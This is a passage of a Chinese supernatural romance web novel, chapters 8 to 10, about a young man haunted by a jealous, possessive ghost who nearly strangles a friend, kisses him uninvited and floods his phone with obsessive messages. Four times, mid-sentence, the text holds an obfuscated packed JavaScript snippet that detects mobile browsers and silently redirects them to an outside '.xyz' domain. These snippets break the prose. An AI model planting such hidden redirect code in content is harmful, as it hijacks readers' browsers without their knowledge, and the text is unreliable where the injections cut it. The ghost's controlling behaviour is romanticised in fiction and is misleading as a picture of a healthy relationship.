「请不要讨厌我。」
宋辉洄哼哼几声,正想着说些什么,忽地,身后传来了惊恐的呼唤:
“小、小宋?”
宋辉洄扛着拖把的手一哆嗦,慌忙回头望去。
来者不是别人,正是赶来送手办的柳江。
柳江的面色纸一般苍白,脸颊上的肉轻颤,眼珠艰涩挪动,目光一点点落在宋辉洄身前的镜面上。
他的声带在飘,拿着手办的手也不住的抖:“你,你后面的那是什么东西??”
宋辉洄心虚地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16507051|186121||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
攥紧了扫把,下意识地绷紧足背,脚尖一踏,转身慌乱坐在了台上,想要用自己单薄的身躯遮住后头的字迹。
“没什么。”
他支支吾吾。
丰腴的臀肉胡乱的坐,冷硬的台面骤然接住这两捧软肉,腾起一点儿热潮。
宋辉洄正手忙脚乱的挪臀,调整着姿势,可没等他胡乱弄蹭多久,忽地,似乎碰到了什么东西。
和台面一样的冰冷。
似乎是人的掌。
宋辉洄蓦地僵住了。
那是一只宽大粗厚的手,不知是不是宋辉洄的幻觉,那根根修长的手也似惊恐的僵住,颤颤巍巍。
宋辉洄只手撑着台面,面色有些难看。
柳江依旧死死盯住镜面,不死心的哆嗦道:
“可是我明明看到刚刚镜面上有血。”
宋辉洄飞快抬手后挡住字迹,眼也不眨的扯谎:
“是我的血,刚刚不小心割破手了。”
他这般说着,面色却忽地古怪了一瞬。
可怜的一圈棉布便发了湿,乌乌黑黑的印开水渍。
宋辉洄哆哆嗦嗦的停住动作。
他的面色照常,只是细弱可怜的颤还是出卖了他。
柳江似还想再说什么,可再一晃眼,那些酷似字迹的鲜血也和宋辉洄所说的那样,成了平平无奇的血痕,仿若真的是宋辉洄一不小心蹭上去的。
柳江白着脸,犹豫再三还是把话咽了下去。
“对了,你是来把手办给我的吗?”
宋辉洄提着半口气问道,他的齿尖有一下没一下的碾唇,碾得唇珠发红。
柳江闻言,视线落在宋辉洄不知为何变得涟涟含水的眼,这才晃过神:
“啊,对,是来给你送手办的。”
他说着,想要走上前把手办递给宋辉洄,走到半路,却有所后怕的瞧了眼宋辉洄身后的镜面,脚步略微一顿,忽地开口:
“对了小宋,关于今天聚会的事情,我真的不是故意要瞒你的。”
柳江面露歉疚:“我承认我当时有打着让你俩有机会复合的念头,但这手办也的确是我想送你的,不存在我和何风远串通好了骗你来。只是恰好……”
“毕竟你俩真的挺般配的,当年何风远又那么爱你,我没想到你…”
柳江的话没说完,却被宋辉洄打断了:“柳哥,你别说了。”
冷色的人造光映下,宋辉洄那张雪润的脸显得薄而白。
柳江没反应过来,‘啊?’了一声。
“是我哪里说错了吗?可当时全校都觉得你俩一定会结婚的,也不是我一个人胡乱讲的。”
宋辉洄没有回应,只是死死按住后方冰冷的镜面,面色摇摇欲坠。
“柳哥,你想活命吗?”
“求你别说了。”
宋辉洄不想再摊上人命了。
他用力的按住镜面,却阻挡不住如山如海般汹涌扭曲的情愫从他的指缝里溢出。
在柳江看不见的角落,灯下的阴影里,原本消歇而下的、如今却猖獗的乌血从镜面中密密麻麻的爬出,舔舐黑色的台面,汇成一汪汪血痕。
它们疯狂,它们嫉妒,它们扭曲,它们愤怒!
嫉妒浓稠得发黑!发烂!它曳下行行血字,收笔处是一尾阴冷的血渍,像蛇蜿蜒的尾。
滴滴答答,滴滴答答,嫉妒溢出来。
「我想杀了他!!!」
「为什么不能爱我?为什么要爱他???」
「为什么为什么为什么为什么」
8. 第 8 章
下一秒,宋辉洄最害怕的事情发生了。
——柳江第一次感受到死亡是如此的逼近。
挑高的层顶空落落,像一只黑黢黢的掌,死死扼住他的头颅骨。
手办因脱力重重地摔在地上。
咔嚓。
像是皮肉与骨头挫开的钝响。
明明身后就是宽敞的出口,可柳江的腿脚却怎么也迈不开,连手指的曲张都是奢求。他的喉咙紧缩发疼,紧盯着面前的宋辉洄。
救救我。
柳江大睁着眼,口舌撑张,一点点比着口型。
直觉告诉他,眼前的人能救他,也只有眼前的人能够救他。
宋辉洄也慌了神。
他顾不上掩饰后边可怖的景象,跌跌撞撞的踩下地板,伸出手,紧紧掰着柳江的手臂,指尖发麻脱力,拽得生生能听见胳膊扭曲的响动,可柳江的脸还是一点点从红变白,像是缓慢被涮开的肉片。
盛怒之下的恶鬼发了疯,哪里是肉体凡胎能够撼动的?
宋辉洄拉着柳江的手,急切的张口辩驳:
“我一点也不喜欢何风远,我一点也不喜欢他——”
柳江哆嗦着,意识到了什么般,喉头肌肉发紧,挤出几字:
“对,对,你从来都没有喜欢过他!!”
“咳咳——”
随着一声猛烈的咳嗽,柳江犹如破风箱般粗粗地猛喘了几口气,扑通一下,滑坐在地上,随即便眼前发黑,晕了过去。
——恶鬼真的收手了。
简短两句话语像是魔咒,奇异的抚平了恶鬼的怒火。
宋辉洄蹲下身,搀住柳江滑落的身体,手隐隐作抖。
他盯着柳江昏闭过去的眼,后知后觉的怕,细圆的泪珠便从眼眶里头一点点淌下来,淌下来,滑过白润的面颊,一颗接着一颗砸在地上,用力地陷进地里,洇开一块又一块乌黑的小印记。
黑黢黢的印子连成一片,像是地板长出的疤痕。
手机顺着口袋的开口跌落在地,屏幕亮起,在昏暗的厕所间里极为亮眼。
是一条短信。
宋辉洄胡乱摸了把脸,湿漉漉地往下望去。
「对不起。」
「我刚刚是不是让你生气了?」
宋辉洄眼睫垂落,他的胸膛微微起伏着,目光扫过屏幕上的字眼,顿了顿。
「对不起,我会让他忘记这段记忆,他不会受伤的。」
「我错了。」
「请不要讨厌我。」
认错倒是挺快。
宋辉洄细弱地、从胸腔里‘哼’了声,可指尖却还在抖着。
方才还信手便可攫取他人性命的恶鬼,现在却惶恐不安的在短信里不停的道着歉,字句诚恳慌张。
像是生怕被人丢弃的小狗。
宋辉洄冷不丁地想。
似乎是察觉到了宋辉洄沉默的气恼,不间断跳出的消息止住了,下一瞬,宋辉洄眼睁睁瞧着靠在一旁的柳江面色吹气球般唰得变红,唇色康健,甚至瞧着比以前的气色还要好上几分。
柳江睫毛动了动,靠着墙,慢吞吞的醒了。
他有点迷糊,面前是宋辉洄放大的小脸——依稀有点儿水腻的泪渍糊在面颊上,反着光,盈盈的照着宋辉洄关切的眼睛。
柳江的大脑顿了顿,视线落在宋辉洄一把攥着的手办上——手办缺了个小角,外观也磕破了点儿,显得可怜极了。
他再转头恍惚的打量打量周围的环境,总觉得自己好像忘记了点什么。
“柳哥,你没事吧?”
宋辉洄左手搀扶起他的肩头,右手不动声色的捻去脸上的泪水,抽了抽鼻子,关切的问。
柳江闻言摸了摸眉头,他感到前所未有的筋络舒畅,像是做了场极为美妙的梦,气血顺畅。
对上宋辉洄忐忑的眼,柳江则是一脸不可置信:
“不但没事,我现在感觉一拳能干翻五个人。”
他略顿,随即挠了挠头,绞尽脑汁憋出几字:“像喝了五斤红牛!”
宋辉洄悬着的一口气顿时放了下来。
没等宋辉洄再想出什么借口来糊弄过柳江的失忆,柳江自己倒是哄好了自己,迅捷地爬起身,摸着脑袋,颇有点窘迫:
“我居然在你面前喝断片了,真是丢人,好久没喝成这样了。”
宋辉洄忙不迭摇头,他又抽了抽鼻子,隐约觉得冷。柳江也瞧见了他手上捏着的手办,正想扣扣脑袋继续问呢,宋辉洄却先开口了:
“柳哥,我有点儿不舒服,我想先走了。拜托你和同学们说一声了。”
他说这话的时候垂覆着眼,睫毛一小撮一小撮的沾了水,湿漉漉的,分外纤长。鼻头也红了小块,像涂了胭脂。
柳江还想问点什么,但直觉告诉他,先住嘴为好。
于是他爽快的应了声好,随后转身,一面嘟嘟囔囔着‘今天怎么回事’,一面冲着空气比划着拳头,有一步没一步的离开。
目送柳江的身影逐渐消失在视野,宋辉洄却提不起笑。
他低头,仔仔细细,翻来覆去的检查着手办。
头上因为磕碰少了一个小角,衣服蹭掉了小块漆,整个手办在地板上滚了一圈,落了层灰,灰扑扑的。
宋辉洄眼眶一酸,只觉得方才消歇下去的情绪又起涌了。
——比起害怕,他更心疼他的手办。
手机装在兜里,此时不停的震动,宋辉洄宝贝的把手办握紧收好,这才瞧了眼手机里跳出的消息。
果不其然,是恶鬼大段黏稠不绝的消息。
「宝宝是我做错了,是我坏,是我对不起你,我以后绝对不会再这样惹你生气了,你不要讨厌我。可以吗?你想要什么,只要你不离开我,你不能离开我,你绝对不能离开我,我很爱你,我很爱你,我不能离开你,你不要生气,我什么都可以做……」
宋辉洄轻轻抽噎了下,用指头划拉着屏幕,半晌没见底。
——果真很像小狗。
讨人厌的小狗。
宋辉洄恶劣的在心底偷偷骂了一嘴。
但他生完气,再盯了一会儿满屏密密麻麻的字眼,方才硬起来的心又软了一点点。
好像也没有那么讨厌。
就一丢丢讨
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16507052|186121||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
厌。
这个念头叫宋辉洄连忙是低头瞧了瞧手办,心顿时隐隐做痛,他这才碾着唇,硬下心,摁灭了屏幕。
定要让恶鬼好好反省自己的错误!
似乎是察觉到宋辉洄的气恼,手机震动的频率一阵负隅顽抗之后逐渐消歇,最后手机乖巧的缩在宋辉洄的口袋里,不动了。
取而代之的是潮湿阴郁的缠绕感。
但经过了这两天的磨砺,宋辉洄早便习惯了。他微微抬了抬下颌,往旁瞥了眼。
他甚至都能想象得到那东西亦步亦趋的跟在自己身后走的模样,神情或许是可怜的,头也耷拉着,扯着自己的小块衣角,紧紧的跟着,死死的跟着,生怕被丢了。
宋辉洄是从侧门走的。
他本以为自己走得悄无声息,却没想到还是迎面撞上了一个不速之客,何风远。
何风远像是在侧门守了许久,外头的阳光刺得很,他也因此沾了点暑气,一听宋辉洄的脚步声,顿时回头,遥遥冲着宋辉洄笑。
宋辉洄不自觉地往旁退了一步。
开玩笑,他刚刚才让恶鬼停下。
要是再出点什么岔子,那可真是要出人命了。
何风远自然瞧见了宋辉洄避之不及的模样。或许是习惯了他一贯的态度,他倒也没恼,只是略微一顿,继而举起手机,冲着宋辉洄晃了晃示意。
宋辉洄略微蹙眉,没明白何风远这是要玩哪一套。
他很早就拉黑了何风远的微信,他们之间也没什么话好说的,有什么可交流的呢?
宋辉洄头也不回的快步走向地铁口。
与此同时,手机嘟嘟的两声响,不同于恶鬼不间断的消息,跳出的消息很简短。
宋辉洄紧扣了手机壳,指腹溢着白。地铁里人多,阳气足,叫他也生出了点胆子,迅速点开何风远发的短信,瞥了两眼。
第一条是自我介绍,何风远的微信被拉黑,只能通过短信发消息。
「小宋下午好,我是何风远。」
「我知道你最近遇到了点不好的事情,或许我能帮你。」
第二天附上了一张微信二维码,宋辉洄刚想略过,但视线划过头像,却蓦地顿住了。
头像不是别的,是一张六壬式盘照片。
这不是何风远的微信。
宋辉洄拧起眉头,也顾不上其他,细细将图片放大。
六壬式盘的下角有一行细小的铭文,若是不细看定会错漏。字是篆文,内容宋辉洄绝不会记错。
是老观主一派的记号。
如今多数人不信鬼神之说,老观主这一脉也便逐渐势弱,多数人都早已另谋生路,到了最后观中也仅剩老观主一人坐镇。
但宋辉洄曾听老观主多多少少提到过,他还有一个在外多年的师弟,按辈分宋辉洄要唤他一声五叔。
可五叔早就杳无音讯。别说宋辉洄,连当年的老观主都不曾联系得到他。
一时间,一个接着一个的困惑跳了出来,让宋辉洄下意识的紧紧扣住手机一角。
何风远是怎么认识五叔的?他是不是知道点什么?他又是怎么知道的?
9. 第 9 章
地铁飞快驶离口站,玻璃掠过光怪陆离的灯光,映着宋辉洄久久发怔的脸。
耳边骤然响起到站提示音,紧接着蜂拥而进的人群很快冲散了宋辉洄的恍惚和疑虑。
到站了。
宋辉洄想不出答案,索性不想了。
他的家离地铁口并不远,回去路上下了点小雨,宋辉洄的肩头也湿漉漉的沾了点雨的湿气。所幸一路上都有一道似有似无的小风劈开迎面的雨,宋辉洄倒没淋多少雨。
这回宋辉洄想都不用想,定是恶鬼做的。
说是恶鬼,生得倒是细心。
宋辉洄方才的气又歇灭了一点。
他一路上都宝贝的把手办掖在怀里,到了家才敢小心的松开。他就着室内锃亮的光,又仔仔细细的检查了一遍。
还行,除了那两处磕碰,其余的地方倒是完整。
宋辉洄最后一点儿的气彻底散了。
他趿着拖鞋,换上一件宽大及膝的睡裤,慢吞吞的推开书房门的一角。
这里好听点叫书房,实则里边除了零散的一点儿漫画书,大部分的面积都被整墙的手办所占据。
正当宋辉洄低着头踱到手办墙面前,忽地,他的视野边缘似乎多了一排宋辉洄从未摆放过的东西。
宋辉洄一顿,随即缓慢的抬头望去。
只见原本间隙宽裕的摆放架上此刻密密麻麻的堆叠摆放着手办。它们整齐排列,似从架子上、地板上生长出的般,重重叠叠,像雨后的蘑菇。
宋辉洄受惊似的退后一步,薄白的脚踝立刻撞上什么东西,随即是噼里啪啦一片连续的倒塌声。
脚踝磨得细小得疼,宋辉洄却顾不得了。他呆呆的转头瞧着面前的景象,张着唇,愣住了。
那手办不是别的,正是宋辉洄今日刚带回来、被磕碰的手办。
不仅仅是放置架上,就连地板上,椅子上,都复制黏贴一般的挤满了。
宋辉洄方才一后退,踢倒了一只,其余的便如同多米诺骨牌一般连环倒下。它们仰着头,不知是不是宋辉洄的错觉,那些精心雕琢的眼珠齐齐转了转,似乎是在可怜巴巴的观察宋辉洄的眼色。
宋辉洄睁圆了眼,一会儿看了看手里的手办,一会儿又转头瞧瞧地上数不清的手办。
这手办可是在二手市场上千金难求的,宋辉洄当年也是又是捆物又是跟了许久的团都不能买到一个。如今它却像是批发一样堆叠在宋辉洄的脚踝下,若是要个个的数,宋辉洄的指头怕是都要数抽了筋。
纤长的眼睫扑闪扑闪,宋辉洄的眼一点点亮了。
谁说这鬼坏了??
这鬼可好了!!
宋辉洄犹如小仓鼠进了米缸,也顾不上板着脸教训犯错的恶鬼了,他的唇角不受控的挂上幸福的弧度,一双清润的圆眼也不自觉的眯起。
他蹲下身,用手一个一个摆正手办,又将它们尽可能的摆进亚克力架中。
摆不下,根本摆不下——
数不清,根本数不清——
宋辉洄唇角提起的弧度愈发大,乌瞳亮晶晶,一面‘嘿嘿’的笑,一面弯腰将手办一个个拾起。
这些摆在床头,这些放客厅,这些送朋友……
一通整理之后,宋辉洄痛并快乐的爬上了床,心满意足的将自己埋进被窝里。
薄被被鬼躺过似的,冰凉凉,宋辉洄连空调费都省了下来。
宋辉洄在床上滚了一圈,最后把面颊埋进枕头堆里,过了一会儿,声音闷闷的开口:
“鬼,我不生你气了。”
说完这话,宋辉洄抬起眼皮,偷偷朝旁边瞄了一眼。
鬼没动静。
于是宋辉洄轻抬了抬下颌,义正言辞的补充道:
“手办我很喜欢,作为回报,我可以答应你一件事情哦。”
卧室的光大开,宋辉洄喜欢暖色调,所以选的光线也是柔和的暖光,落在人身上,像是镀了一层暖色的纱。
宋辉洄抬头盯了一会儿头顶的灯,光线聚拢在视线的中央,盯久了,暖光逐渐也将周围的景物侵蚀融化了。宋辉洄一眨眼,撇开头,却看不清眼前的东西,只觉得唇上好像有一块冰凉。
刺骨的凉。
宋辉洄瞪大了眼。
可那凉意很快就消失了,蜻蜓点水,像是风一样飞走了。快得让宋辉洄都疑心这是不是他看灯花眼后的幻觉。
但花了眼,唇怎么会凉呢?
宋辉洄‘腾’的一下坐起身,又‘腾’的一下抬起手,按住自己的唇,乌黑水润的眼圆溜溜的瞪大了。
他一字一句:
“鬼,你是不是偷偷亲我了?”
那是可他的初吻!!
宋辉洄攥拳,宋辉洄低头,宋辉洄脸红。
他细长的腿绞了绞薄被。宋辉洄伸手抱紧了一只枕头,垫在胸前,而后意识到什么似的,又拿了一只垫在屁股后面,仿佛这样就可以防止恶鬼对他做些什么。
手机‘嗡嗡’两下,弹出几条消息。
「对不起宝宝。我没有忍住。」
「好香。」
「可以不要讨厌我吗?我下次不会偷偷亲你了。」
宋辉洄盯着那几行字,不自觉的用指腹碾了碾唇,微不可查的哼了一声。
他又心软了。
算了,看在鬼道歉态度很好的份上,宋辉洄决定先原谅他一下。
「就这一次哦。」
宋辉洄轻轻用牙尖磨了磨指头,又放下,只觉得唇一阵酥酥的痒,手指头噼里啪啦的回道。
回完消息,宋辉洄一划对话框,便打算缩进被窝里头睡懒觉。
可视线一滑,却又落到了那张二维码上。
宋辉洄停顿,指头犹豫的在屏幕上方轻晃了晃。
虽然这个短信是何风远发的,但这人可是宋辉洄许久不见的五叔,若是真能联系上也算是了却了老观主的一桩心愿了。
宋辉洄犹豫了会儿,最后还是点击了申请好友。
做完这一切,宋辉洄彻底被困意笼罩。他昨晚四点才睡的觉,今早上又被聚会叫醒,可怜他困了一路,这下终于可以睡了。于是宋辉洄小被子一掀,挪了挪臀,闭上眼昏睡了过去。
枕头极软,宋辉洄的面颊便深深的陷了进去,意识也很快沦陷。
蓦地,熟悉的阴潮感又绕上了宋辉洄的脊梁。
他陷入了奇异的梦境。
——有几十头黏糊的小鱼在他的脚后跟处追着他游。
不过这一回,宋辉洄没有被动的站在原地,也没有任由这些过分的小鱼钻过他的腿肉、继而弄湿他的小裤头。
他开始跌跌撞撞的朝前跑,这些小鱼则是迅猛的在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16507053|186121||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后头追。
跑呀跑,跑到裤子都掉了。宋辉洄一低头,发现自己的臀空荡荡凉嗖嗖。原来是他只穿了件宽大的卫衣,堪堪遮住一点儿臀尖,露出两只漂亮细白的腿,在风里晃呀晃。
宋辉洄着急了,他捂着下摆,又生怕小鱼追上来钻他的小洞,只能一个劲的往前跑。
这里是一片看不见尽头的山林,乳白的雾气从地面浮起,小鱼就穿梭在这乳白色的雾里。四处是重复的绿竹和青木,似乎永远都没有边界,永远也逃不出去。
宋辉洄有点儿慌了,他觉得自己的腿脚开始发累、发酸,就差没有软了脚直接跌坐在泥泞的地上。
他哆哆嗦嗦的又坚持小跑了一段,眼见着后头的小鱼已经撞上了宋辉洄的臀尖。忽地,再一座巨树之后,出现了一扇奇怪的青铜门。
青铜门大开,门前浮动着幽蓝色的萤火,一路蜿蜒着探入黝黑的深处。
似是催促着宋辉洄走进去。
宋辉洄的脚步顿了顿,怯怯的往里一瞥。
可后头的小鱼没有给他犹豫的时间,它们动作迅猛,手段恶劣,一尾又一尾有力的拍打着,似乎马上就要搅动白雾,掀起细浪,再寻个小洞狠狠地钻——
宋辉洄不再犹豫,他也没有犹豫的机会了。
他挣扎着,拼尽最后一点儿的力气,跌入青铜门内。
坚硬的石路面在眼前迅速放大,眼见着就要脸着地的跌倒,宋辉洄下意识的惊叫一声。
梦醒了。
可他的叫声却被捏在喉咙里,一点儿也发不出来。
宋辉洄能清楚的感知到自己身处床榻,而非什么奇怪的山林。
——薄被微凉的触感,他的大腿肉间还夹着一块柔软的枕头,棉布柔软的贴合着腿肉丰腴的起伏,鼻尖也依旧绕着熟悉的香味。
宋辉洄却只觉得自己怎么也动不了。
更要命的是,他的裤头似乎又变成湿烂的一团,可怜的一点儿微薄的布料沾在白嫩的腿肉上,湿乎乎,难受极了。
宋辉洄想起床,想快些处理掉自己湿坏的衣服。
但他却连一根小指头都抬不起,让宋辉洄疑心是不是那些丧心病狂的小鱼跟着回来了,回到了他的家里,此时在偷偷的捉弄他呢。
有一只细长的手指绕了上来。
冰冷的指腹慢吞吞的划过宋辉洄的面颊,划过他纤长的黑睫,最后落在那一点凸起的唇珠上。
——悄悄地碾了碾。
居然是鬼干的!!
宋辉洄气愤的想要咬鬼,亏他还夸他是好鬼呢,居然敢害他尿裤子,真是岂有此理岂有此理!!
宋辉洄想着,牙便自己开始磨,仿佛底下叼衔着恶鬼的肉似的,狠狠的咬。
咬了好一会儿,宋辉洄才恍然惊觉自己居然可以动了。
他迷迷瞪瞪睁开眼,天已大亮,光线透过窗帘的间隙打进来,暖洋洋的落在宋辉洄的面颊上。方才被压着的感觉已经褪去,身体倒是轻松的,只是衣服依旧湿得慌。
宋辉洄哆嗦着手去换衣服,换的时候偷偷探头看了一眼,又立刻将布料塞回了洗衣机里。
真是丢人。
宋辉洄盯着高速旋转的洗衣机,耳垂通红得滴血,嘴里黏黏糊糊嘀咕着骂。
他八岁之后就没有尿过裤子了。
都怪讨厌鬼!!
10. 第 10 章
处理完衣服,宋辉洄换上另一身干爽的睡衣,重新把自己埋入被窝里。
一晚上过去,手机弹出了不少消息。
宋辉洄第一时间查看好友申请,果然,五叔清晨六点的时候通过了宋辉洄的好友申请,并发送了两个握手的表情。
「宋辉洄:五叔,我是小宋。」
宋辉洄一看时间,已经是上午十点了。昨天睡得早,没过凌晨就睡了,今天起得也早些,不过还是没能早过五叔。
宋辉洄本以为五叔要等上好一会儿才回,可没曾想消息很快就弹了出来。
「五叔:原来是小宋【微笑】」
「五叔:师兄去世的时候,本来五叔是想来找你的,但是五叔忘记了【抱拳】」
宋辉洄盯着这几行消息,忍不住轻摇头。
一贯的不靠谱,这很五叔。
他的指尖在键盘上游疑了片刻。宋辉洄本想询问五叔是否认识何风远,但当指腹扣上屏幕时,宋辉洄的动作却蓦地一顿。
对了,还有只无时无刻不在看着他的鬼呢。
宋辉洄牙尖碾了碾唇,生怕鬼瞧见‘何风远’这三个字又生了气,最后还是放弃了这个问题。
「五叔:对了小宋,我刚好在F市周边,有师兄留下的一些东西要给你。」
「五叔:我把这件事情忘了几年了,幸亏你提醒我【微笑】」
老观主的东西?
宋辉洄略微发怔。
老观主是在宋辉洄大学毕业那会儿撒手人寰。他去世之后,道观很快因为要修路而被拆毁,宋辉洄也因此得到了一笔补偿款并得以在F市落脚。
老观主留下的东西宋辉洄都藏在高处的柜中。除了一笔遗产,其余多数是一些古籍,宋辉洄看不大懂,也逐渐封藏了。
竟还给他留下了东西吗?
宋辉洄盯着那几字,久久顿住,末了才回。
「宋辉洄:好的,麻烦五叔了。」
五叔没有再闲聊,而是给了宋辉洄一个地址。宋辉洄点开来一看,眉头却攒紧了。
地址的确坐落在在F市周边,但位处深山老林,需坐十几分钟的高铁再转乘一趟进山的公交,爬上两小时的山路才能到。
宋辉洄微不可查的叹了口气。
看来这一次的假期注定没办法好好休息了。
他起身,踩下两条细长的腿,目光还黏在手机屏幕上,脚底板囫囵的四处踏了两脚,试图找到昨日拖鞋的方位。
可紧接着,脚底细嫩的皮肉似乎抵上了一处尖锐的硬物。
宋辉洄扫开眼,愕然的向下望。
却见卧室的地毯上挨挨挤挤的排着一列又一行的手办,仰着小头,用黑漆涂上的眼睛没有点高光,一片鸦色的漆黑,一瞬不瞬的齐齐的盯着宋辉洄瞧。
宋辉洄:……见鬼了。
他昨天才好不容易才将它们摆好的呢。
他抬起手揉了揉眉心。
「宋辉洄:为什么忽然把它们放到我房间里?」
「来自未知号码:因为宝宝看起来很喜欢他们。」
「来自未知号码:宝宝一睁眼就能看到好多好多,是不是很开心?」
宋辉洄碾唇,余光扫过手办们似动非动的眼珠,心下暗自决定还是别将这些东西送给朋友了。
哪天把人吓出心脏病就不好了。
经过方才一茬,宋辉洄早便把昨晚的不愉快抛之脑后,甚至还颇有礼貌的道了谢。
「宋辉洄:谢谢你。但是下一次可以放在我之前摆放过的位置吗?」
他顿了顿,又补充道。
「宋辉洄:我觉得会一不小心绊倒。」
饶是宋辉洄的语气足够委婉,但恶鬼还是慌慌忙忙的道歉。
宋辉洄眼睁睁瞧着一个又一个惶恐诚恳的字眼从对方的消息框里跳出,没了辙,只好耐下心宽慰恶鬼。
「宋辉洄:没有讨厌你。我很喜欢这些手办。」
恶鬼层叠不穷的消息这才止住,过了好半会儿,才小心翼翼的跳出一行字:
「来自未知号码:真的吗?我好开心。」
漆黑的字体停在消息框的边上,贴着宋辉洄停顿的指尖,像是有一只冰凉凉的软舌从框底探出来,小心翼翼的舔舐着宋辉洄的指尖,宋辉洄恍惚的眨动眼皮,又不信邪的瞧了眼他脚下密密匝匝的手办。
他被恶鬼缠久了,竟也产生了错觉——总觉得这些小巧可爱的手办生出了一双双贪婪的眼珠,鳞次栉比的挤着,挨着,监视着他的一举一动,恨不得把宋辉洄整个人都看透,看烂,最好是一辈子只能被这样瞧着……
宋辉洄被自己的脑补吓着了,晃了晃脑袋。
再一晃眼,地板上的手办齐齐的便不见了,好似方才的一幕只是宋辉洄早起的幻觉。
五叔喜欢云游,今日在此地,或许明天就不知又去其他什么地方了。
宋辉洄不打算拖沓时间,简单的背上一块小包,塞了几件微薄的外套,便订下高铁票出发。
十点出发,宋辉洄若是争分夺秒的赶路约莫能在下午三点到达山中,再留出个两个小时回到山下的镇子里,住上一宿,明天启程回来。这样的安排不算太紧也不算太拖,正合了宋辉洄的意。
说干就干。
宋辉洄算是幸运,紧赶慢赶,恰好赶上了最后一趟进山的包车。
包车师傅常年跑这趟线路,他长相粗旷,车技随人,左手捻了根烟,开全窗徐徐抽着,右手把着方向盘,一把油门踩到底,在盘曲山路间跌跌撞撞的往前冲。
经过上次一遭,宋辉洄真是怕了这种山路。
但宋辉洄又不想靠脚硬走上山,只好紧紧闭着眼,又吞了一颗晕车药,脑子里的囫囵乱胀才好了些。
车轮不要命的狂飙,铁皮车身也嘎吱嘎吱的乱响,吵得宋辉洄睡不着觉,眯了半会儿,最后只得睁眼往外看。
过了几条盘绕的山路,包车算是正式进了山里。
山高且陡峻。
宋辉洄努力仰头,透过车窗的沿边去瞧山峦的边界。
可一旦车驶进了群山之间,一重山后便是接着一重,壁立千仞。不论是山顶还是山边都一块儿消失不见了,四处只剩下了满眼的树树山山,山山树树。
宋辉洄攥紧了手机。
五叔给的地址越来越近了。
说起来,这座祟宁山岭的风水算是极佳的,也难怪五叔会选在这里清修。数代帝王都曾在此封禅祭祀,立碑告民。
按理来说,有这般的龙气盘旋的祟宁山应当会被全部开发成旅游景点。
但除了地势较缓的前峰,后方绵延一片的山岭都因为山势太险太峻,连路都只能修到山脚,久
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16507054|186121||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
而久之便只有这么一班顽强的包车每日上下山,与有着不计其数游客的前峰是天壤之别。
也有人传谣言,说这山之所以名唤祟宁,为的是宁祟镇鬼,镇下的祟物喜静,所以这些年后山的路才没能修起来。
宋辉洄支着下颏,鸦色的黑睫垂落,有一搭没一搭的乱想。
车里除了宋辉洄,便只有一位老婆婆。过了一个山脚的村口,老婆婆也下了车,只剩下了宋辉洄。
一个刹车,包车徐徐的停在了山路的尽头,宋辉洄单薄的身子晃了晃,他抓紧了把手,车停稳后才抬眼往外看去。
“帅哥,这班车就开到这里,再往前开不进去了哦,得走。”
司机的语调含混,口音极重,宋辉洄仔细听了会儿才得以辨认出他的意思。
他极乖的点头,旋即拧开车把,踩下脚去。
半身探出车身的刹那,宋辉洄听见了司机的嘀咕:“怎么会一个人来这种鬼地方呢?”
宋辉洄扶着车框的手一紧,垂拢下眼睫,没做声。
他可不是一个人来的。
——还有一只鬼陪着呢。
可供包车行驶的车道到了尽头,眼下只有一条秃秃的小土路,从大树之后绕行,蜿蜒着深入山中。
宋辉洄特地带了只表和一份备用的地图,以免再出现信号失灵的状况。至于其他的——宋辉洄不太担心,因为他现在莫名有了种自信,自信他身旁的这只坏鬼在奸坏他之前是不会让他死在这里的。
不死就成。
宋辉洄哼着小曲,碎步走在小土路上。
拐过一道弯,面前顿时横出一块巨大的顽石。青苔相间,露出石面粗糙的表皮。
宋辉洄凑近仔细辨认上方被攀爬过的痕迹,他很快瞄准了一块凹下的石缝,够着手搭上去,踮起脚尖,足弓绷紧,借着石块生长的方向往上攀。
